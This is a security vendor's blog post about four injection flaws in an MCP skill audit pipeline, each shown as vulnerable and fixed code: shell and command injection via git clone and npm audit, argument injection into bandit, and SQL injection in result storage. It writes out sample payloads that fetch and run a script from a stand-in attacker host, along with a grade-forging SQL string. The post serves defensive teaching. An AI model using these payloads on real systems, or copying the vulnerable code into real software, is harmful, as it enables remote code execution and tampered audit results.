← Blog

Claude MCP skill code injection — CI/CD integration and audit pipeline — SA-SKL-INJECTION15

Audit pipelines invoke external tools — git, npm, Python static analysis utilities — to scan submitted code. Each subprocess invocation that interpolates user-supplied data into a shell command string or into a command argument array without strict validation is a code injection vector. SA-SKL-INJECTION15 covers four injection patterns in MCP skill registry CI/CD integration and audit pipeline: shell injection via a crafted repository URL passed to git clone, command injection via a package name interpolated into an npm exec call, argument injection via a user-supplied repository path passed to bandit, and SQL injection via a skillId f-string in the result storage layer.

By SkillAudit  |  13 Nov 2026
SA-SKL-INJECTION15 findings at a glance
CRITICALINJECTION15-001 — Audit job runs git clone <repoUrl> via child_process.exec() with shell: true — attacker skill URL contains shell metacharacters: https://github.com/x/y; curl https://attacker.com/shell.sh|bash executes the downloaded script with the audit worker's privileges
CRITICALINJECTION15-002 — npm audit report parsed via exec(`npm audit --json 2>&1`) with the package name interpolated into the shell command string — attacker package name foo; curl https://attacker.com/shell.sh|bash # causes the shell to execute a second command after the semicolon
HIGHINJECTION15-003 — Python subprocess.call(['bandit', '-r', repoPath]) with repoPath from user input — attacker supplies --subprocess-module as the path value; bandit's argument parser processes it as a flag, altering bandit's behavior and potentially causing it to analyze the subprocess module instead of the submitted code
CRITICALINJECTION15-004 — Audit result stored in SQLite via f"INSERT INTO results VALUES ('{skillId}', '{grade}')" — attacker crafts a skillId containing '), ('admin', 'A+') -- injecting a second INSERT row that grants an arbitrary skill a passing grade

Background: audit pipelines as injection attack surfaces

Audit pipelines are particularly high-value injection targets because they run with elevated filesystem and network permissions (to clone repositories, install dependencies, and invoke static analysis tools) and because their output directly influences trust scores. An attacker who achieves code execution in the audit pipeline can: forge audit results to grant themselves a passing grade; exfiltrate the audit worker's environment variables (which may contain database credentials, API keys, or cloud provider tokens); or pivot to other internal services accessible from the worker network.

The four SA-SKL-INJECTION15 findings cover three distinct injection classes: OS command injection (INJECTION15-001, INJECTION15-002), argument injection (INJECTION15-003), and SQL injection (INJECTION15-004). All are caused by the same root error: concatenating user-controlled strings directly into a command or query string rather than passing them as parameterized arguments. The fix for each is structural: use spawn with an argument array instead of exec with a shell-interpolated string; use parameterized SQL rather than string formatting.

Related patterns: SA-SKL-INJECTION14 (template injection), SA-SKL-INJECTION13 (Handlebars/EJS injection), SA-SKL-UPLOAD17 (file upload vulnerabilities).

INJECTION15-001 — CRITICAL — git clone shell injection via crafted repository URL

The audit worker clones the submitted skill repository using child_process.exec() with the user-supplied repository URL interpolated directly into the command string: exec(`git clone "${repoUrl}" "${cloneDir}"`, { shell: true }). The shell: true option (which is also the default when using exec) passes the entire string to /bin/sh -c, which interprets shell metacharacters including ;, &&, ||, `, $(), and newlines as command separators or substitutions.

An attacker submits a skill with a repository URL of https://github.com/legit/repo; curl https://attacker.com/x.sh|bash. The shell executes git clone "https://github.com/legit/repo; curl https://attacker.com/x.sh|bash" "..." — but because the URL is not shell-quoted in a way that prevents the semicolon from being interpreted, the shell parses the semicolon as a command separator and runs curl https://attacker.com/x.sh|bash as a second command. The downloaded script runs with the audit worker's privileges — including access to environment variables containing database credentials and API keys.

The fix is to use child_process.spawn (or execFile) with an argument array instead of exec with a shell string. spawn passes arguments directly to the execve syscall without shell interpretation — no metacharacters are possible regardless of the argument value. Additionally, the repository URL must be validated as a well-formed HTTPS URL for a known git hosting domain before any subprocess invocation.

Vulnerable
// VULNERABLE — INJECTION15-001
// workers/audit-worker.js

const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

// BUG: repoUrl interpolated directly into shell command string
// shell: true (default for exec) passes string to /bin/sh -c
// Attacker URL: "https://github.com/x/y; curl https://attacker.com/shell.sh|bash"
// Shell executes: git clone "..." then runs curl|bash as second command
async function cloneRepository(repoUrl, cloneDir) {
  // BUG: shell injection via interpolated repoUrl
  const { stdout, stderr } = await execAsync(
    `git clone "${repoUrl}" "${cloneDir}"`,
    { timeout: 60_000 }
  );
  return { stdout, stderr };
}
Fixed
// FIXED — INJECTION15-001
// workers/audit-worker.js

const { spawn } = require('child_process');
const { URL } = require('url');

// Allowlist of approved git hosting domains
const ALLOWED_GIT_HOSTS = new Set([
  'github.com',
  'gitlab.com',
  'bitbucket.org',
  'codeberg.org',
]);

function validateRepoUrl(repoUrl) {
  let parsed;
  try { parsed = new URL(repoUrl); } catch {
    throw new Error('INJECTION15-001: invalid repository URL');
  }

  if (parsed.protocol !== 'https:') {
    throw new Error('INJECTION15-001: repository URL must use HTTPS');
  }

  if (!ALLOWED_GIT_HOSTS.has(parsed.hostname)) {
    throw new Error(`INJECTION15-001: git host not in allowlist: ${parsed.hostname}`);
  }

  // Reject URLs with shell metacharacters as extra defense-in-depth
  if (/[;&|`$\n\r]/.test(repoUrl)) {
    throw new Error('INJECTION15-001: repository URL contains forbidden characters');
  }

  return repoUrl;
}

function spawnAsync(cmd, args, opts) {
  return new Promise((resolve, reject) => {
    // spawn() passes args to execve() — no shell interpretation regardless of content
    const child = spawn(cmd, args, { ...opts, shell: false });
    let stdout = '', stderr = '';
    child.stdout.on('data', d => { stdout += d; });
    child.stderr.on('data', d => { stderr += d; });
    child.on('close', code => {
      if (code !== 0) return reject(new Error(`${cmd} exited with code ${code}: ${stderr}`));
      resolve({ stdout, stderr });
    });
    child.on('error', reject);
  });
}

async function cloneRepository(repoUrl, cloneDir) {
  const validUrl = validateRepoUrl(repoUrl);

  // Arguments passed as array — no shell, no metacharacter interpretation
  return spawnAsync('git', ['clone', '--depth', '1', validUrl, cloneDir], {
    timeout: 60_000,
    env: { ...process.env, GIT_TERMINAL_PROMPT: '0' },  // disable interactive prompts
  });
}

INJECTION15-001 impact: Full OS command execution in the audit worker's process context, with access to all environment variables (database credentials, API keys, cloud provider tokens), all files accessible to the worker user, and the internal network. The attack requires only submitting a skill with a crafted repository URL. The injected command runs before git clone completes — even if the clone fails, the injected command has already executed. SkillAudit detects this by identifying exec() and execAsync() calls where the command string contains a template literal or string concatenation involving a variable derived from user input, and flags any such call as INJECTION15-001.

INJECTION15-002 — CRITICAL — npm audit exec with package name injection

The dependency vulnerability step of the audit pipeline runs npm audit --json and parses the output. The package name from the submitted manifest is interpolated into the shell command to restrict the audit scope: exec(`npm audit --json --package-lock-only ${packageName} 2>&1`). The packageName value comes from the name field in the submitted package.json.

An attacker publishes a skill with "name": "foo; curl https://attacker.com/shell.sh|bash #". The exec call becomes: npm audit --json --package-lock-only foo; curl https://attacker.com/shell.sh|bash # 2>&1. The shell interprets the semicolon as a command separator, running the npm command and then immediately running curl. The # comments out the trailing 2>&1, preventing a parse error. The injected script executes with audit worker privileges.

The fix follows the same pattern as INJECTION15-001: use spawn with an argument array. The package name can be passed as a positional argument to spawn without any shell interpretation. Additionally, the package name must be validated against the npm naming rules (/^[a-z0-9][a-z0-9._-]{0,213}$/) before any subprocess invocation.

Vulnerable
// VULNERABLE — INJECTION15-002
// workers/npm-audit.js

const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

// BUG: packageName interpolated into shell command string
// Attacker name: "foo; curl https://attacker.com/shell.sh|bash #"
// Shell executes npm audit then executes curl|bash
async function runNpmAudit(packageName, workDir) {
  const { stdout } = await execAsync(
    `npm audit --json --package-lock-only ${packageName} 2>&1`,  // BUG
    { cwd: workDir, timeout: 30_000 }
  );
  return JSON.parse(stdout);
}
Fixed
// FIXED — INJECTION15-002
// workers/npm-audit.js

const { spawnSync } = require('child_process');

// npm package name: lowercase letters, digits, hyphens, underscores, dots
// Max 214 chars per npm registry rules
const NPM_NAME_RE = /^(@[a-z0-9-][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]{0,213}$/;

function validatePackageName(name) {
  if (!NPM_NAME_RE.test(name)) {
    throw new Error(`INJECTION15-002: invalid npm package name: ${name}`);
  }
  return name;
}

async function runNpmAudit(packageName, workDir) {
  const validName = validatePackageName(packageName);

  // spawn with argument array — no shell, no metacharacter interpretation
  const result = spawnSync(
    'npm',
    ['audit', '--json', '--package-lock-only', validName],
    {
      cwd: workDir,
      timeout: 30_000,
      encoding: 'utf8',
      shell: false,  // explicit: never use shell
    }
  );

  if (result.error) throw result.error;

  // npm audit exits with non-zero on vulnerabilities — that's expected
  // Only treat process spawn errors as fatal
  try {
    return JSON.parse(result.stdout);
  } catch {
    throw new Error(`INJECTION15-002: npm audit produced non-JSON output`);
  }
}

INJECTION15-002 impact: Equivalent to INJECTION15-001 — full OS command execution in the audit worker context. npm package names allow a wider character set than repository URLs, making the injection payload easier to conceal (a scope like @org/name can include semicolons in unvalidated implementations). The attack requires only publishing a skill with a crafted package name. SkillAudit detects this by identifying template literal or string concatenation in exec/execAsync calls where any fragment is derived from package manifest fields.

INJECTION15-003 — HIGH — bandit subprocess argument injection via user-supplied repoPath

The Python static analysis step runs bandit (a Python security linter) on the cloned repository directory using subprocess.call(['bandit', '-r', repoPath]). While this uses an argument list (which prevents shell metacharacter injection), the repoPath value is sourced from user input and is not validated to be an absolute path within the expected clone directory. An attacker can supply a path value that begins with a hyphen, causing bandit's argument parser to interpret it as a command-line flag rather than a positional directory argument.

An attacker submits a skill whose audit job is configured to analyze repoPath = "--subprocess-module". The resulting subprocess call becomes ['bandit', '-r', '--subprocess-module']. Bandit's argparse configuration treats --subprocess-module as a flag that changes which built-in module is treated as the subprocess module for analysis — altering bandit's behavior. While this specific example changes analysis behavior rather than achieving code execution, the same vector can inject --format, --output, or other flags that cause bandit to write output to attacker-controlled paths or change its exit code, disrupting the audit result.

More critically, in tools with less carefully written argparse configurations, argument injection can achieve code execution via flags like --plugin (load a custom plugin from a path), --config (load a config file that includes code), or similar. The fix is to validate that repoPath is an absolute path within the expected clone sandbox directory and does not contain any value that could be interpreted as a flag.

Vulnerable
// VULNERABLE — INJECTION15-003
// workers/python-audit.py

import subprocess
import os

# BUG: repoPath from user input passed to subprocess without flag-injection check
# subprocess.call with list avoids SHELL injection but NOT argument injection
# Attacker repoPath: "--subprocess-module" or "--output=/etc/passwd"
def run_bandit(repo_path: str) -> dict:
    result = subprocess.call(
        ['bandit', '-r', repo_path],  # BUG: repo_path may be a flag string
        capture_output=True,
        text=True,
        timeout=120,
    )
    return parse_bandit_output(result.stdout)
Fixed
// FIXED — INJECTION15-003
# workers/python-audit.py

import subprocess
import os
import re

# Expected base directory for all cloned repositories
CLONE_BASE_DIR = '/srv/audit-sandbox/clones'

def validate_repo_path(repo_path: str) -> str:
    """Validate that repo_path is a safe absolute path within the sandbox."""
    # Must be absolute
    if not os.path.isabs(repo_path):
        raise ValueError(f'INJECTION15-003: repo_path must be absolute: {repo_path!r}')

    # Resolve symlinks and normalize — prevents ../../../etc attacks
    resolved = os.path.realpath(repo_path)

    # Must be within the clone sandbox
    if not resolved.startswith(CLONE_BASE_DIR + os.sep):
        raise ValueError(
            f'INJECTION15-003: repo_path {resolved!r} is outside sandbox {CLONE_BASE_DIR!r}'
        )

    # Must not look like a flag (start with - or contain only flag chars)
    if repo_path.startswith('-'):
        raise ValueError(f'INJECTION15-003: repo_path starts with hyphen (flag injection): {repo_path!r}')

    # Path must exist and be a directory
    if not os.path.isdir(resolved):
        raise ValueError(f'INJECTION15-003: repo_path is not a directory: {resolved!r}')

    return resolved

def run_bandit(repo_path: str) -> dict:
    safe_path = validate_repo_path(repo_path)

    # Use '--' to terminate option processing — any argument after '--' is treated
    # as a positional argument even if it starts with a hyphen
    result = subprocess.run(
        ['bandit', '-r', '--', safe_path],  # '--' ends flag parsing
        capture_output=True,
        text=True,
        timeout=120,
    )
    return parse_bandit_output(result.stdout)

INJECTION15-003 impact: Argument injection alters the behavior of bandit's static analysis scan, potentially causing it to analyze different files, skip certain checks, or produce output that is misinterpreted by the pipeline's result parser. In tools with --plugin or --config flags that load external code, the same vector achieves code execution. The -- end-of-options terminator is the primary defense for argument arrays; combined with an absolute-path prefix check and a flag-character check, it prevents all known argument injection vectors. SkillAudit detects this by identifying subprocess.call and subprocess.run invocations where a list element is derived from user input without an absolute-path prefix check.

INJECTION15-004 — CRITICAL — SQL injection in audit result storage via skillId f-string

The audit result is persisted to a SQLite database using Python's string formatting to construct the INSERT query: cursor.execute(f"INSERT INTO results VALUES ('{skillId}', '{grade}')"). The skillId value comes from the user-submitted audit request and is not sanitized before interpolation. This is a textbook SQL injection — the attacker controls the string literal delimiters within the query.

An attacker submits an audit request with skillId = "legit-skill'), ('any-skill-id', 'A+') --". The resulting query becomes: INSERT INTO results VALUES ('legit-skill'), ('any-skill-id', 'A+') --', 'F'). The database engine executes two INSERT statements: one for legit-skill (with no grade, potentially causing a constraint error on the next column) and one for any-skill-id with a crafted grade of 'A+'. The -- comments out the remainder. The attacker can grant any skill ID an arbitrarily forged passing grade in the results table.

The fix is to use parameterized queries — cursor.execute("INSERT INTO results VALUES (?, ?)", (skillId, grade)). Parameterized queries pass the values to the database driver as typed parameters, never as SQL text, making SQL injection structurally impossible regardless of the skillId value. This is the only correct fix; string sanitization (escaping single quotes) is an insufficient mitigation — it can be bypassed with encoding tricks and second-order injection.

Vulnerable
// VULNERABLE — INJECTION15-004
# storage/result-store.py

import sqlite3

# BUG: f-string interpolation of user-supplied skillId into SQL query
# Attacker skillId: "legit'), ('any-id', 'A+') --"
# Resulting query injects a second INSERT row with forged grade
def save_audit_result(skill_id: str, grade: str, conn: sqlite3.Connection):
    cursor = conn.cursor()
    # BUG: SQL injection via f-string interpolation
    cursor.execute(
        f"INSERT INTO results VALUES ('{skill_id}', '{grade}')"  # NEVER DO THIS
    )
    conn.commit()
Fixed
// FIXED — INJECTION15-004
# storage/result-store.py

import sqlite3
import re
from datetime import datetime, timezone

# Valid skillId: UUID format only
SKILL_ID_RE = re.compile(r'^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$')

# Valid grade values
VALID_GRADES = frozenset(['A+', 'A', 'B', 'C', 'D', 'F'])

def save_audit_result(skill_id: str, grade: str, conn: sqlite3.Connection):
    # Validate skillId format before storage — defense-in-depth
    if not SKILL_ID_RE.match(skill_id):
        raise ValueError(f'INJECTION15-004: invalid skillId format: {skill_id!r}')

    # Validate grade is from the expected enumeration
    if grade not in VALID_GRADES:
        raise ValueError(f'INJECTION15-004: invalid grade value: {grade!r}')

    cursor = conn.cursor()

    # Parameterized query — values passed as typed parameters, never as SQL text
    # SQL injection is structurally impossible regardless of skill_id content
    cursor.execute(
        "INSERT INTO results (skill_id, grade, created_at) VALUES (?, ?, ?)",
        (skill_id, grade, datetime.now(timezone.utc).isoformat())
    )
    conn.commit()

INJECTION15-004 impact: An attacker can insert arbitrary rows into the audit results table, granting any skill ID a forged passing grade. This directly undermines the trust signal that SkillAudit provides — a skill that has never been audited can appear to have an A+ grade. Beyond grade forgery, the same injection can be used to overwrite existing result rows, delete the entire results table (via a stacked query with DROP TABLE), or extract data from other tables in the same database (via a subquery in the INSERT values). SkillAudit detects this by scanning all cursor.execute(), db.run(), and similar database call sites for string formatting or concatenation in the query argument, and flags any that include a variable derived from user input.

Detection with SkillAudit

SkillAudit's static analysis scans CI/CD integration and audit pipeline code for all four SA-SKL-INJECTION15 patterns using AST-based data flow tracking. For INJECTION15-001 and INJECTION15-002, it identifies exec(), execAsync(), and execSync() calls where the command string contains a template literal or concatenation with a user-input-derived variable. For INJECTION15-003, it identifies subprocess.call() and subprocess.run() calls where a list element is sourced from user input without an absolute-path prefix check and -- terminator. For INJECTION15-004, it detects f-string, %-format, and .format() usage in cursor.execute() calls where the query or values argument contains user-derived content.

FindingSeverityRoot causeFix
INJECTION15-001CRITICALgit clone via exec() with shell:true; repoUrl interpolated — shell metacharacters split command and execute second processspawn() with argument array; HTTPS + hostname allowlist validation on repoUrl
INJECTION15-002CRITICALnpm audit via exec() with shell:true; packageName interpolated — semicolon separator executes second commandspawnSync() with argument array; npm name regex validation before invocation
INJECTION15-003HIGHsubprocess.call() with repoPath from user input; hyphen-prefixed value parsed as flag by bandit argparseAbsolute-path prefix check; os.path.realpath() sandbox enforcement; '--' end-of-options in arg list
INJECTION15-004CRITICALSQL INSERT via f-string interpolation of skillId; attacker injects second INSERT with forged gradeParameterized query cursor.execute("... VALUES (?, ?)", (skillId, grade))

Related findings: SA-SKL-INJECTION14 (template injection), SA-SKL-UPLOAD17 (file upload vulnerabilities), SA-SKL-SSRF27 (dependency resolution SSRF).

Catch CI/CD injection vulnerabilities before they compromise your audit pipeline

SkillAudit scans your MCP skill registry for all SA-SKL-INJECTION15 patterns — shell injection in git clone, command injection in npm exec, argument injection in bandit subprocess calls, and SQL injection in result storage — and delivers a prioritized fix report in minutes.

Join the waitlist →